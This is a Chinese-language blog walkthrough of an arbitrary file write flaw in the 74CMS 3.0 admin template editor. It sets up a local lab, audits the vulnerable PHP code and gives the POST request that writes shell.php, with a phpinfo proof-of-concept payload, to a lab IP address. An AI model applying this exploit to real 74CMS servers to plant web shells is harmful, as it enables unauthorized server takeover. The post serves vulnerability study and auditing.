74CMS 3.0任意文件写入漏洞

一、 启动环境

1.双击运行桌面phpstudy.exe软件
在这里插入图片描述
2.点击启动按钮,启动服务器环境

二、代码审计

1.双击启动桌面Seay源代码审计系统软件
在这里插入图片描述
2.因为74CMS3.0源代码编辑使用GBK编辑,所以首先需要先将编码改成GBK
在这里插入图片描述
3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\74cms),点击确定

漏洞分析

1.点击展开左侧admin目录,在弹出的下拉列表中双击admin_templates.php页面,右侧页面可以看到相关代码。

elseif ($act == 'do_edit')
{
	check_permissions($_SESSION['admin_purview'],"tpl_edit");
	$tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
	$tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
		if(empty($tpl_name)){
	adminmsg('保存模板文件出错', 0);
		}
		$file_dir='../templates/'.$_POST['tpl_dir'].'/'.$tpl_name;
		if(!$handle = @fopen($file_dir, 'wb')){
		adminmsg("打开目标模版文件 $tpl_name 失败,请检查模版目录的权限",0);
		}
		if(fwrite($handle, $tpl_content) === false){
			adminmsg('写入目标 $tpl_name 失败,请检查读写权限',0);
		}
		fclose($handle);
		$link[0]['text'] = "继续编辑此文件";
		$link[0]['href'] =$_SERVER['HTTP_REFERER'];
		$link[1]['text'] = "返回模板文件列表";
		$link[1]['href'] ="?act=edit&tpl_dir=".$_POST['tpl_dir'];
		adminmsg('编辑模板成功',2,$link);
}

当act参数为do_edit的时候会进入模板写入流程。
2.程序首先获取模板名字tpl_name和模板内容tpl_content,然后在使用$_POST[‘tpl_dir’]拼接文件保存路径,最后文件打开文件,写入文件内容。
3.由于备份模板在后台,并没有很好的过滤传输内容,所以可以直接写入shell。

漏洞利用

1. 首先访问admin/admin_templates.php?act=do_edit,然后在POST构建文件名和文件内容。

http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_templates.php?act=do_edit
tpl_name=shell.php&tpl_content=<?php phpinfo();?>

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
成功写入

2. 访问生成的文件

http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/templates/shell.php

在这里插入图片描述

posted @ 2018-12-18 21:26  浅笑996  阅读(450)  评论(0编辑  收藏  举报